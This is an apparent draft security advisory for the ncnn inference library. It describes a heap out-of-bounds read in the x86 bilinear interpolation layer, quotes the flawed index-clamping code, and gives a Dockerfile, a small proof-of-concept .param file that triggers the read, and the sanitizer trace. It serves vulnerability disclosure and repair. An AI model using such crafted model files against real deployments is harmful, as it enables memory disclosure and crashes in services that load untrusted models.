All advisories
Draft

Heap Out-of-Bounds Read in Bilinear Interpolation

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Out-of-Bounds Read in Bilinear Interpolation

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/interp_x86.cpp:269 in Interp_x86::forward
Sanitizer verdict: heap-buffer-overflow

Summary

A .param file that declares a one-column input followed by a bilinear Interp layer with a wider output makes ncnn's x86 interpolation path index one element before the start of each input row. ncnnoptimize aborts with a heap read four bytes below the input allocation, and in a non-instrumented build the value read from adjacent heap memory is blended into the layer output. The entry point is ncnnoptimize <param> <bin> ..., which executes the graph inside ModelWriter::shape_inference().

Detail

Interp::forward builds a reference blob from the attacker-supplied output_width (id 4) and output_height (id 3) and hands it to the x86 implementation, which derives outw from it. For dims == 2 the bilinear branch calls linear_coeffs(w, outw, xofs, alpha, align_corner) to precompute one source column index per output column. That helper clamps the index into [0, w - 2] — a range that is empty and negative when the input has a single column.

// src/layer/x86/interp_bilinear.h:32
        if (sx >= w - 1)
        {
            sx = w - 2;
            fx = 1.f;
        }

        xofs[dx] = sx;

// src/layer/x86/interp_x86.cpp:219
                    int sx = xofs[x] * elempack;
                    const float* Sp = ptr + sx;
                    float a0 = alphap[0];
                    float a1 = alphap[1];

// src/layer/x86/interp_x86.cpp:267
                    for (; ep < elempack; ep++)
                    {
                        outptr[ep] = Sp[ep] * a0 + Sp[ep + elempack] * a1;
                    }

The PoC declares Input data 0=1 1=2, i.e. a 1x2 tensor, and Interp interp 0=2 3=2 4=2, i.e. bilinear resize to 2x2. Because w == 1, the guard sx >= w - 1 fires for every output column and stores sx = w - 2 = -1 in xofs. There is no subsequent clamp to zero, and linear_coeffs is the only place that could reject a degenerate w.

Back in Interp_x86::forward, Sp = ptr + sx * elempack is ptr - 1 for the unpacked elempack == 1 case, so the scalar tail loop dereferences Sp[0] one float below the row base. For the first row that is one float below the whole 84-byte input allocation, which is the four-byte read ASan reports at heap-buffer-overflow ... 4 bytes before. The companion term Sp[ep + elempack] reads the (in-bounds) single real column, so the result silently mixes whatever heap word precedes the tensor into the output.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-out-of-bounds-read-in-bilinear-interpolation && cd ncnn-poc-heap-out-of-bounds-read-in-bilinear-interpolation

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
2 2
Input data 0 1 data 0=1 1=2
Interp interp 1 1 data out 0=2 3=2 4=2
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e00000003c at pc 0x5953bc861901 bp 0x7ffd3f6b3270 sp 0x7ffd3f6b3260
READ of size 4 at 0x50e00000003c thread T0
    #0 0x5953bc861900 in ncnn::Interp_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/interp_x86_avx512.cpp:269
    #1 0x5953bc78769b in ncnn::Interp::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/interp.cpp:455
    #2 0x5953b73d9f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x5953b73cbb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5953b742b9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5953b72bd3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5953b733aeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x7d0216b741c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7d0216b7428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5953b72ba624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e00000003c is located 4 bytes before 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x7d02171edf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5953b738aa4f in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5953b738aa4f in ncnn::Mat::create(int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:373
    #3 0x5953b72bbc6a in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:389
    #4 0x5953b733aeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x7d0216b741c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7d0216b7428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5953b72ba624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/build/src/layer/x86/interp_x86_avx512.cpp:269 in ncnn::Interp_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const

Credit

Zheng Yu @ DepthFirst